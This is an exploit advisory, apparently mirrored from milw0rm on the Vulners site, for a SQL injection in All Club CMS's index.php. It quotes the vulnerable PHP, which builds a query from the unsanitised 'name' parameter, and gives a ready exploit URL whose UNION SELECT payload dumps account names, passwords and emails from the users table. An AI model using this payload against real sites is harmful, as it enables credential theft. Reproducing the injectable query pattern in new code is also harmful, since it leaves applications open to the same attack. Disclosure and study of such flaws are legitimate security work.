Lucene search
K

All Club CMS <= 0.0.2 index.php Remote SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

All Club CMS 0.0.2 Remote SQL Injectio

Code

                                                -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 All Club CMS &#60;= 0.0.1f index.php Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


bug found by ka0x
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
http://www.domlabs.org/

Script affected: All Club CMS
Vulnerability: Remote SQL Injection

Download: http://sourceforge.net/project/showfiles.php?group_id=209058
need magic_quotes_gpc = off


vuln code:

[...]

if (isset($_GET[&#39;name&#39;]) && (!(empty($_GET[&#39;name&#39;])))) {
   
  $name = $_GET[&#39;name&#39;];
  $name = stripslashes($name);
  // stop hackers
  if (eregi(&#34;http\:\/\/&#34;, $name)) {
      echo &#34;&#60;br /&#62;&nbsp;&nbsp;No go on the hack attempt.&#60;br /&#62;&#34;;
      // log attempt, from IP, etc.
      if ($SYS_SET[&#39;ban_attack_ip&#39;]) {
        // ban ip if ban_attack_ip
      }
    die();
  }
   
  $sth = $dbh-&#62;prepare(&#34;SELECT * FROM accms_modules WHERE name=&#39;$name&#39;&#34;);
 
[...]


Stripslashes function only deletes backslashes (\) and the backslashes
doubles (\\) becomes simple (\).


Exploit:
http://[host]/accms_path/index.php?name=-1&#39;/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*


__EOF__

# milw0rm.com [2008-02-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14